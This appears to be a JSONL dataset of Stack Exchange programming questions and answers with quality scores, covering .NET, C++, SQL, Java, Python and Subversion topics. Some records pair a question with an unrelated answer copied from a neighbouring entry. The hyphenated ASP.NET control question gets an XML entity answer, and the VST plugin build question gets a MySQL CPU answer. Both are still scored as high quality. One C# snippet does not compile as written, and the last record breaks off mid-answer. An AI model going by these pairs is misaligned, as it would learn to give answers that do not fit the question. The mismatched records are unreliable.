{"id": "hf_3583c59b4fdf", "question": "<p>Why does UDP have a length field in the header and TCP does not?</p>\n\n<p>I am guessing that the length of the segment in TCP is inferred from the IP header but one should be able to do the same for a UDP datagram</p>\n", "question_body": "", "answer": "There is a 96 bit pseudo header conceptually prefixed to the TCP header that contains the information already.\nThe checksum field description from\nthis source\ngives the answer:\nChecksum: 16 bits\nThe checksum field is the 16 bit one's complement of the one's\n  complement sum of all 16 bit words in the header and text.  If a\n  segment contains an odd number of header and text octets to be\n  checksummed, the last octet is padded on the right with zeros to\n  form a 16 bit word for checksum purposes.  The pad is not\n  transmitted as part of the segment.  While computing the\n  checksum,\n  the checksum field itself is replaced with zeros.\nThe checksum also covers a 96 bit pseudo header conceptually\n  prefixed to the TCP header.  This pseudo header contains the Source\n  Address, the Destination Address, the Protocol, and TCP length.\n  This gives the TCP protection against misrouted segments.  This\n  information is carried in the Internet Protocol and is transferred\n  across the TCP/Network interface in the arguments or results of\n  calls by the TCP on the IP.\n```\n```\n+--------+--------+--------+--------+\n      |           Source Address          |\n      +--------+--------+--------+--------+\n      |         Destination Address       |\n      +--------+--------+--------+--------+\n      |  zero  |  PTCL  |    TCP Length   |\n      +--------+--------+--------+--------+\n```\n```\nThe information is not needed at the TCP level since TCP is a stream based protocol.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.037410"}
{"id": "hf_3312466e852b", "question": "<p>How do I get a human-readable file size in bytes abbreviation using .NET?</p>\n\n<p><strong>Example</strong>:\nTake input 7,326,629 and display 6.98 MB</p>\n", "question_body": "", "answer": "```\n```\nint size = new FileInfo( filePath ).Length / 1024;\nstring humanKBSize = string.Format( \"{0} KB\", size );\nstring humanMBSize = string.Format( \"{0} MB\", size / 1024 );\nstring humanGBSize = string.Format( \"{0} GB\", size / 1024 / 1024 );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.096620"}
{"id": "hf_9d0bf06a33b4", "question": "<p>Currently our dev team set up all the websites they're working on in IIS on their local machine. We're thinking of switching to using the built in ASP.NET development server instead.</p>\n\n<p>Is this a good idea? What are the pros / cons of using the ASP.NET dev Server? Are there any gotchas we should be aware of?</p>\n\n<p>Thanks.</p>\n\n<p>NB: Running on Win XP / IIS 5 / VS2005</p>\n\n<p><strong>Edit:</strong></p>\n\n<p>Didn't realise it was called Cassini.. More answers for <a href=\"https://stackoverflow.com/questions/103785/what-are-the-disadvantages-of-using-cassini-instead-of-iis\">Cassini v IIS here</a>.</p>\n", "question_body": "", "answer": "There is nothing that the ASP.NET Dev WebService can do that IIS can't (You can set breakpoints etc, just attach the VS debugger to the ASP.NET runtime).\nHowever, the ASP.NET Dev WebService does not represent a true production environment, and as such you can get caught by gotchas that you wouldn't expect when you deploy to production.\nBecause of that, I mandate that all development is done using IIS on a local machine. It doesn't take much work to configure a site in IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.143294"}
{"id": "hf_4ccd090cb0a5", "question": "<p>I am trying to set the innerxml of a xmldoc but get the exception: Reference to undeclared entity</p>\n\n<pre><code>XmlDocument xmldoc = new XmlDocument();\nstring text = \"Hello, I am text &amp;alpha; &amp;nbsp; &amp;ndash; &amp;mdash;\"\nxmldoc.InnerXml = \"&lt;p&gt;\" + text + \"&lt;/p&gt;\";\n</code></pre>\n\n<p>This throws the exception: </p>\n\n<blockquote>\n  <p>Reference to undeclared entity 'alpha'. Line 2, position 2.. </p>\n</blockquote>\n\n<p>How would I go about solving this problem?</p>\n", "question_body": "", "answer": "Try replacing &Alpha with\n```\n```\n&#913;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.166700"}
{"id": "hf_74660ae94ec0", "question": "<p>I want to set up an ASP.NET custom control such that it has a custom name, specifically, with a hyphen within it, so it might look like this in markup:</p>\n\n<pre><code>&lt;rp:do-something runat=\"server\" id=\"doSomething1\" /&gt;</code></pre>\n\n<p>I don't mind if this syntax requires setting up a tag mapping in web.config or something to that effect, but the <a href=\"http://msdn.microsoft.com/en-us/library/ms164641.aspx\" rel=\"nofollow noreferrer\" title=\"tagMapping Element\">tagMapping element</a> doesn't quite match up for what I'd like to do.</p>\n", "question_body": "", "answer": "Try replacing &Alpha with\n```\n```\n&#913;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.189910"}
{"id": "hf_319cfc00476a", "question": "<p>I used code like this to find the remote user name:</p>\n\n<pre><code>banner_label.Text = \"Welcome, &lt;B&gt;\" + User.Identity.Name + \"&lt;/B&gt;!\"\n</code></pre>\n\n<p>I'd also like to find the remote host name.\nMy production environment will be a corporate intranet with active directory.</p>\n", "question_body": "", "answer": "maybe this would work for you\n```\n```\nRequest.UserHostName\n```\n```\nedit:\ni think what you're trying to do will not working over the internet, what you're trying to get is the name of the computer, which will not be transmitted with the request to the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.212780"}
{"id": "hf_e56cd452b4c8", "question": "<p>I just don't get it. Tried on VC++ 2008 and G++ 4.3.2</p>\n\n<pre><code>#include &lt;map&gt;\n\n\nclass A : public std::multimap&lt;int, bool&gt;\n{\npublic:\n    size_type erase(int k, bool v)\n    {\n        return erase(k); // &lt;- this fails; had to change to __super::erase(k)\n    }\n};\n\nint main()\n{\n    A a;\n    a.erase(0, false);\n    a.erase(0); // &lt;- fails. can't find base class' function?!\n\n    return 0;\n}\n</code></pre>\n", "question_body": "", "answer": "When you declare a function in a class with the same name but different signature from a superclass, then the name resolution rules state that the compiler should\nstop looking\nfor the function you are trying to call once it finds the first match. After finding the function by name,\nthen\nit applies the overload resolution rules.\nSo what is happening is the compiler finds your implementation of\n```\nerase(int, bool)\n```\nwhen you call\n```\nerase(0)\n```\n, and then decides that the arguments don't match.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.235800"}
{"id": "hf_b6aa2ddf22fa", "question": "<p>Do you have any ideas how to call DoEvents from a C# DLL</p>\n", "question_body": "", "answer": "Don't. It's sketchy enough when you are the app controlling the event loop; pumping messages from a DLL just adds to the risk that you'll end up hitting code a naive programmer didn't make safe for re-entrancy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.285451"}
{"id": "hf_e8f1c0a785bd", "question": "<p>From my experiments, it does not appear to do so. If this is indeed true, what is the best method for removing line breaks? I'm currently experimenting with the parameters that TRIM accepts of the character to remove, starting with trimming <code>\\n</code> and <code>\\r</code>.</p>\n", "question_body": "", "answer": "```\n```\nselect trim(both '\\n' from FIELDNAME) from TABLE;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.332207"}
{"id": "hf_78a8b8438e13", "question": "<p>I want to make this specialized w/o changing main. Is it possible to specialize something based on its base class? I hope so.</p>\n\n<p>-edit-</p>\n\n<p>I'll have several classes that inherit from SomeTag. I don't want to write the same specialization for each of them.</p>\n\n<pre><code>class SomeTag {};\nclass InheritSomeTag : public SomeTag {};\n\ntemplate &lt;class T, class Tag=T&gt;\nstruct MyClass\n{\n};\n\ntemplate &lt;class T&gt;\nstruct MyClass&lt;T, SomeTag&gt;\n{\n    typedef int isSpecialized;\n};\n\nint main()\n{\n    MyClass&lt;SomeTag&gt;::isSpecialized test1; //ok\n    MyClass&lt;InheritSomeTag&gt;::isSpecialized test2; //how do i make this specialized w/o changing main()\n    return 0;\n}\n</code></pre>\n", "question_body": "", "answer": "In your case, the only way that I see would be to explicitly specialize\n```\nMyClass\n```\nfor\n```\nInheritSomeTag\n```\n. However, the\nSeqAn paper\nproposes a mechanism called “template sublassing” that does what you want – albeit with a different inheritance syntax, so the code isn't compatible with your current\n```\nmain\n```\nfunction.\n```\n```\n// Base class\ntemplate <typename TSpec = void>\nclass SomeTag { };\n\n// Type tag, NOT part of the inheritance chain\ntemplate <typename TSpec = void>\nstruct InheritSomeTag { };\n\n// Derived class, uses type tag\ntemplate <typename TSpec>\nclass SomeTag<InheritSomeTag<TSpec> > : public SomeTag<void> { };\n\ntemplate <class T, class Tag=T>\nstruct MyClass { };\n\ntemplate <class T, typename TSpec>\nstruct MyClass<T, SomeTag<TSpec> >\n{\n    typedef int isSpecialized;\n};\n\nint main()\n{\n    MyClass<SomeTag<> >::isSpecialized test1; //ok\n    MyClass<SomeTag<InheritSomeTag<> > >::isSpecialized test2; //ok\n}\n```\n```\nThis certainly looks strange and is very cumbersome but it allows a true inheritance mechanism with polymorphic functions that is executed at compile time. If you want to see this in action, have a look at some\nSeqAn examples\n.\nThat being said, I believe that SeqAn is a special case and not many applications would profit from this extremely difficult syntax (deciphering SeqAn-related compiler errors is a real pain in the *ss!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.355622"}
{"id": "hf_5e77b4a30429", "question": "<p>I have a client which is shipping via UPS, and therefore cannot deliver to Post Office boxes. I would like to be able to validate customer address fields in order to prevent them from entering addresses which include a PO box. It would be best if this were implemented as a regex so that I could use a client-side regex validation control (ASP.NET).</p>\n\n<p>I realize there's probably no way to get a 100% detection rate, I'm just looking for something that will work most of the time.</p>\n", "question_body": "", "answer": "This should get you started.  Test to see if the Address field matches this regex.\n```\n```\n\"^P\\.?\\s?O\\.?\\sB[Oo][Xx].\"\n```\n```\nTranslation to English:  That's a P at the beginning of the line, followed by an optional period and space, followed by an O, followed by an optional period, followed by a space, followed by \"Box\", followed by anything else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.383418"}
{"id": "hf_fbe253bd636d", "question": "<p>Can someone explain how exactly prepared connection pooling using dbcp can be used? (with some example code if possible). I've figured out how to turn it on - passing a KeyedObjectPoolFactory to the PoolableConnectionFactory. \nBut how should the specific prepared statements be defined after that?\nRight now I'm only using a PoolingDataSource to get connections from the pool. How do I use the prepared statements from the pool?</p>\n", "question_body": "", "answer": "Well talking about getting connection from the pool vs getting \"not-pooled\" connection, do you have any change in your code :)? I bet you do not. Same way with prepared statements. Your code should not change. So, there is no useful code example to this.\nYou should read docs for your JDBC Datasource implementation and see what developers have to say about pooling. There is no other source of reliable info on this.\nFrom\nhere\n:\nThis component has also the ability to pool PreparedStatements. When enabled a statement pool will be created for each Connection and PreparedStatements created by one of the following methods will be pooled:\n```\n```\n* public PreparedStatement prepareStatement(String sql)\n* public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency)\n```\n```\nSo, you just keep using prepareStatement() call and your dbcp will in theory take care of pooling (i.e. if you are trying to create \"select * from users u where u.name like :id\", it will try to find this statement in the pool first)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.406727"}
{"id": "hf_d0e62325e931", "question": "<p>I have a pretty much default installation on mysql on Windows 2003. I am rebuilding some indexes and the process only seems to use 3-20% of the CPU.</p>\n\n<p>Is there a way to allow it to use more and speed up the process?</p>\n", "question_body": "", "answer": "This applies to every application/process, not only mysql. If your database is using 3-20% CPU and the final performance is still unacceptable it means that you don't lack processor power, since it is most of the time idle. What is most probable is your bottleneck is at your HDD or HDD-controller level. Have you tested the I/O bandwitch and access time of your HD?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.465616"}
{"id": "hf_2ca143a1f963", "question": "<p>How do I build a VST plugin on Mac without using Xcode? (I'm using Code::Blocks).</p>\n", "question_body": "", "answer": "This applies to every application/process, not only mysql. If your database is using 3-20% CPU and the final performance is still unacceptable it means that you don't lack processor power, since it is most of the time idle. What is most probable is your bottleneck is at your HDD or HDD-controller level. Have you tested the I/O bandwitch and access time of your HD?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.489042"}
{"id": "hf_5365ff26b8d8", "question": "<p>I want to set the background of an <code>NSBox</code> to be a gradient. In Interface Builder it is possible to set the background color of an <code>NSBox</code> to <code>selectedMenuColor</code> which is a gradient. </p>\n\n<p><code>NSBox</code> only has a <code>setFillColor</code> method so how is Interface Builder filling it with a gradient? </p>\n\n<p>How do I programmatically fill an <code>NSBox</code> without subclassing it? It would be trivial to subclass <code>NSBox</code> but the workings of Interface Builder suggest there may be better solution.</p>\n", "question_body": "", "answer": "Probably the closest you could come would be to use an NSColor created with\n```\ncolorWithPatternImage:\n```\n, then create the gradient you want as an image and load that in. Ugly, but should work. I think subclassing is your best bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.524303"}
{"id": "hf_2998389cbe2c", "question": "<p>How do I test if two dates are within a certain tolerance in NUnit?</p>\n", "question_body": "", "answer": "Convert your tolerance to Ticks and then use an And constraint. Something like;\n```\n```\nlong ticks = mydate.Ticks;\nlong tolerance = 1000;\nAssert.That( ticks, Is.LessThan( ticks + tolerance ) & Is.GreaterThan( ticks - tolerance ) );\n```\n```\nI would create an extension method or your own Assert to do this though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.548349"}
{"id": "hf_d83aacbd2ccd", "question": "<p>I'm currently working on some logging code that supposed to - among other things - print information about the calling function. This should be relatively easy, standard C++ has a <code>type_info</code> class. This contains the name of the typeid'd class/function/etc. but it's mangled. It's not very useful. I.e. <code>typeid(std::vector&lt;int&gt;).name()</code> returns <code>St6vectorIiSaIiEE</code>.</p>\n\n<p>Is there a way to produce something useful from this? Like <code>std::vector&lt;int&gt;</code> for the above example. If it only works for non-template classes, that's fine too.</p>\n\n<p>The solution should work for gcc, but it would be better if I could port it. It's for logging so it's not so important that it can't be turned off, but it should be helpful for debugging.</p>\n", "question_body": "", "answer": "It's implementation defined, so it's not something that's going to be portable.  In MSVC++, name() is the undecorated name, and you have to look at raw_name() to get the decorated one.\nJust a stab in the dark here, but under gcc, you might want to look at\ndemangle.h", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.572178"}
{"id": "hf_c82f2c4e9876", "question": "<p>I would like to parse HTML document and replace action attribute of all the forms and add some hidden fields with XSL. Can someone show some examples of XSL that can do this?</p>\n", "question_body": "", "answer": "You can start from\nthis tutorial\nBut be aware that generally\n```\nXSLT\n```\nrequires well-formed\n```\nXML\n```\nas input and\n```\nHTML\n```\nisn't always well-formed", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.607947"}
{"id": "hf_9e7747fa3e7c", "question": "<p>I realize you can't get the target entity in the Attribute itself, but what about in an associated Permission object when using a CodeAccessSecurityAttribute?  The Permission object gets called at runtime so it seems there should be a way but I'm at a loss.</p>\n\n<pre><code>public sealed class MySecurityAttribute : CodeAccessSecurityAttribute\n{\n    public override IPermission CreatePermission()\n    {\n        MySecurityPermission permission = new MySecurityPermission();\n\n        //set its properties\n        permission.Name = this.Name;\n        permission.Unrestricted = this.Unrestricted;\n        return permission;\n    }\n\n}\n\npublic class MySecurityPermission : IPermission, IUnrestrictedPermission\n{\n\n    public MySecurityPermission(PermissionState state)\n    {\n           // what method was the attribute decorating that\n           // created this MySecurityPermission?\n    }\n\n    public void Demand()\n    {\n           // Or here?\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Well, I guess you could use reflection to scan through all the loaded assemblies, looking for any class/member that has\n```\nthis\n```\nas an attribute.  It'd be quite slow, though, so it's not something you'd want to do often, or in a large project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.631859"}
{"id": "hf_a8d3b238deb6", "question": "<p>For what I can read, it is used to dispatch a new thread in a swing app to perform some \"background\" work, but what's the benefit from using this rather than a \"normal\" thread?</p>\n\n<p>Is not the same using a new Thread and when it finish invoke some GUI method using SwingUtilities.invokeLater?... </p>\n\n<p>What am I missing here?</p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/SwingWorker\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/SwingWorker</a></p>\n\n<p><a href=\"http://java.sun.com/products/jfc/tsc/articles/threads/threads2.html\" rel=\"nofollow noreferrer\">http://java.sun.com/products/jfc/tsc/articles/threads/threads2.html</a></p>\n", "question_body": "", "answer": "SwingWorker is an implementation of a common pattern (in .Net i read there is\nGuiWorker\nBackgroundWorker for this), where you have to do some work in a GUI program, but keep the GUI responsive. The problem is that often GUI libraries are not multi thread safe, so the common way to implement such workers is to use the message loop of the library to transfer messages into the event loop of the application.\nThese classes allow you to easily update your GUI. Usually, they have a\n```\nupdate(int status)\n```\nmethod that is called by the thread, dispatched by the class, and handled by the GUI, while the thread continues its work.\nUsing normal threads, you would need to code your own events or some other messaging mechanism for this task, which can be a pain if you need this functionality often. Using invokeLater in Java for example, you would intermix the code for updating the gui into the code for doing the work. The SwingWorker allows you to keep things separate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.666652"}
{"id": "hf_2b87915dc6da", "question": "<p>In Python, how do I jump to a file in the Windows Explorer? I found a solution for jumping to folders:</p>\n\n<pre><code>import subprocess\nsubprocess.Popen('explorer \"C:\\path\\of\\folder\"')\n</code></pre>\n\n<p>but I have no solution for files.</p>\n", "question_body": "", "answer": "From\nGeoff Chappell's\nThe Windows Explorer Command Line\n```\n```\nimport subprocess\nsubprocess.Popen(r'explorer /select,\"C:\\path\\of\\folder\\file\"')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.735975"}
{"id": "hf_edda4f020df6", "question": "<p>There are Hibernate tools for mapping files to ddl generation; ddl to mapping files and so on, but I can't find any command line tools for simple DDL generation from JPA annotated classes.</p>\n\n<p>Does anyone know an easy way to do this? (Not using Ant or Maven workarounds)</p>\n", "question_body": "", "answer": "I'm not sure, whether this is considered a workaround, because you already referred to it in your question. You can use\nHibernate Tools\nto generate DDL from JPA annotated classes. You just need hibernate tools and its dependencies on the classpath and should be fine with something like the following:\n```\n```\n<target name=\"schemaexport\" description=\"Export schema to DDL file\"\n    depends=\"compile-jpa\"> <!-- compile model classes before running hibernatetool -->\n\n  <!-- task definition; project.class.path contains all necessary libs -->\n  <taskdef name=\"hibernatetool\" classname=\"org.hibernate.tool.ant.HibernateToolTask\"\n      classpathref=\"project.class.path\" />\n\n  <hibernatetool destdir=\"export/db\"> <!-- check that directory exists -->\n    <jpaconfiguration persistenceunit=\"myPersistenceUnitName\" />\n    <classpath>\n      <!--\n          compiled model classes and other configuration files don't forget\n          to put the parent directory of META-INF/persistence.xml here\n      -->\n    </classpath>\n    <hbm2ddl outputfilename=\"schemaexport.sql\" format=\"true\"\n        export=\"false\" drop=\"true\" />\n  </hibernatetool>\n</target>\n```\n```\nOn the other hand, if you are using Eclipse with Webtools and have configured the project settings correctly, you can just right click and select\nGenerate DDL\nfrom the context menu. More information about that on the\nEclipse Dali website\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.759547"}
{"id": "hf_39b6d1c42a12", "question": "<p>I'm using ASP.NET Membership and noticed there isn't a method in the <a href=\"http://msdn.microsoft.com/en-us/library/system.web.security.roles_members.aspx\" rel=\"nofollow noreferrer\">Roles class</a> to <em>modify</em> a role (its name for instance), only to create and delete them.</p>\n\n<p>Is it possible or it's not supported?</p>\n\n<p>EDIT: @CheGueVerra: Yes, nice workaround. </p>\n\n<p>Do you know (for extra credit :) ) why it's not possible?</p>\n", "question_body": "", "answer": "Renaming a Role in the ASP.NET Membership model programatically would be a Bad Thing™, because the Role names are used in the configuration file to define permissions. If there were a programmatic way to change the Role name (which persisted the change to the database), you would immediately break any Role-based security configurations in web.config for any web apps using the database, and there'd be no way to guarantee that a single web app could alter the configuration of every web app using that Membership DB.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.782775"}
{"id": "hf_a664b1c45d51", "question": "<p>I need a distinct sound to play when a error occurs.  The error is the result of a problem with one of perhaps two hundred barcodes that are being inputted in rapid fire.  The event queue seems to handle keyboard input (which the barcode scanner emulates) first, and playing of my sound second.  So if the barcodes are scanned quickly, the error sound stays in the queue, being bumped by the next scan.</p>\n\n<p>Can I manipulate the priority of the queue?</p>\n", "question_body": "", "answer": "Javascript is not multi-threaded, so option 2 won't work. And I suspect that the event queue you speak of is the OS's event queue, which isn't likely to accessible from a browser, if at all.\nBeyond that, I'm having a little trouble understanding your problem. What is firing the error sound? Is it a\n```\nkeyup\n```\n, etc event or is it a server side validation that returns an error code or something else?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.816885"}
{"id": "hf_4254947c5a0f", "question": "<p>Given a word, I've to replace some specific alphabets with some specific letters such as 1 for a, 5 for b etc. I'm using regex for this. I understand that StringBuilder is the best way to deal with this problem as I'm doing a lot of string manipulations. Here is what I'm doing:</p>\n\n<pre><code>String word = \"foobooandfoo\";\nString converted = \"\";\nconverted = word.replaceAll(\"[ao]\", \"1\");\nconverted = converted.replaceAll(\"[df]\", \"2\");\nconverted = converted.replaceAll(\"[n]\", \"3\");\n</code></pre>\n\n<p>My problem is how to rewrite this program using StringBuilder. I tried everything but I can't succeed. Or using String is just fine for this?</p>\n", "question_body": "", "answer": "I don't know if StringBuilder is the tool for you here. I'd consider looking at\nMatcher\nwhich is part of the java regex package and might be faster than your example above\nin case you really need the performance\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.899572"}
{"id": "hf_44f4f0ad5fb0", "question": "<p>Does anyone know of a way to store values as NVARCHAR in a manually created query in ColdFusion using the querynew() function?  I have multiple parts of a largish program relying on using a query as an input point to construct an excel worksheet (using Ben's POI) so it's somewhat important I can continue to use it as a query to avoid a relatively large rewrite.</p>\n\n<p>The problem came up when a user tried storing something that is outside of the VARCHAR range, some Japanese characters and such.</p>\n\n<p>Edit: If this is not possible, and you are 100% sure, I'd like to know that too :)</p>\n", "question_body": "", "answer": "The only thing I've been able to come up with so far is this:\n```\n```\n<cfset x = QueryNew(\"foobar\")/>\n<cfset queryAddRow(x) />\n<cfset querySetCell(x, \"foobar\", chr(163)) />\n<cfdump var=\"#x#\">\n```\n```\nWhen dumped, this query does contain the British Pound symbol.\nI haven't tried this with Ben's POI utility, but hopefully it helps you some.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:00.939162"}
{"id": "hf_79962c83c910", "question": "<p>Do you generate your data dictionary? If so, how?</p>\n\n<p>I use extended procedures in SQL Server 2005 to hold onto table and field information. I have some queries that create a dictionary out of them, but it's ... meh.  Do you have a particular query or tool you use? Do you generate it off of your database diagrams?</p>\n\n<p>Googling for \"data dictionary sql server\" comes up with many queries, but they're all about equally as attractive. Which is to say, good starting off points, but not production ready.</p>\n", "question_body": "", "answer": "I generate it from\n```\nINFORMATION_SCHEMA\n```\nviews plus other tables of metadata which are application specific.\nI also use wildcard searches of\n```\nINFORMATION_SCHEMA.ROUTINES\n```\nin order to track usage patterns within code and identify unused columns and tables.\nThis article just showed up in one of my news feeds:\nhttp://www.mssqltips.com/tip.asp?tip=1619", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.000113"}
{"id": "hf_72fc80c1acf8", "question": "<p>I have an object that starts a thread, opens a file, and waits for input from other classes.  As it receives input, it writes it to disk. Basically, it's a thread safe data logging class...</p>\n\n<p>Here's the weird part. When I open a form in the designer (Visual&nbsp;Studio&nbsp;2008) that uses the object the file gets created. It's obviously running under the design time vhost process...</p>\n\n<p>The odd thing is I've not been able to reproduce the issue in another project. I'm not sure what the rules are for code that gets executed in the designer and code that does not. For example, creating a file in a Windows Forms constructor doesn't actually create the file at design time...</p>\n\n<p>What is the explanation? Is there a reference?</p>\n", "question_body": "", "answer": "There are some things you shouldn't do with the designer. I don't have any hard evidence, but I found that the Windows Forms designer hates it when you take away the default constructor from it. Just go ahead and create new overloads, but leave the empty constructor in place.\nAlso try to avoid doing\n```\nForm_Load\n```\nevents in base classes you inherit from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.063881"}
{"id": "hf_89b32d8dd2f3", "question": "<p>I'm doing some maintenance on a private svn server. Authentication is handled through Apache basic HTTP+mod_authz_svn. I need to have it so every user has read/write access, except for a single read-only user. The read-only user still needs to be authenticated, though. I setup my authz config file like this:</p>\n\n<pre>[/]\n* = rw\nread-only = r</pre>\n\n<p>But this doesn't work. The user \"read-only\" can still commit changes. I can make things read-only for everyone, but the * bit seems to override what I'm trying to set for \"read-only.\"</p>\n\n<p>FWIW, relevant piece of the Apache conf is:</p>\n\n<pre> &lt;Location /repos&gt;\n   DAV svn\n   SVNPath ...\n   SVNIndexXSLT \"/svnindex.xsl\"\n\n   AuthzSVNAccessFile ...\n\n   AuthType Basic\n   AuthName ...\n   AuthUserFile ...\n   Require valid-user\n &lt;/Location&gt;\n</pre>\n", "question_body": "", "answer": "In this case, the read-only user has still write access as it also matches the * group.\nA safe way to achieve what you want is to create a group of all users except read-only, e.g.\n```\n```\n[groups]\nall-but-ro = harry, sally, ...\n\n[/]\n@all-but-ro = rw\nread-only = r\n```\n```\n(alternatively, you might just generate many =rw 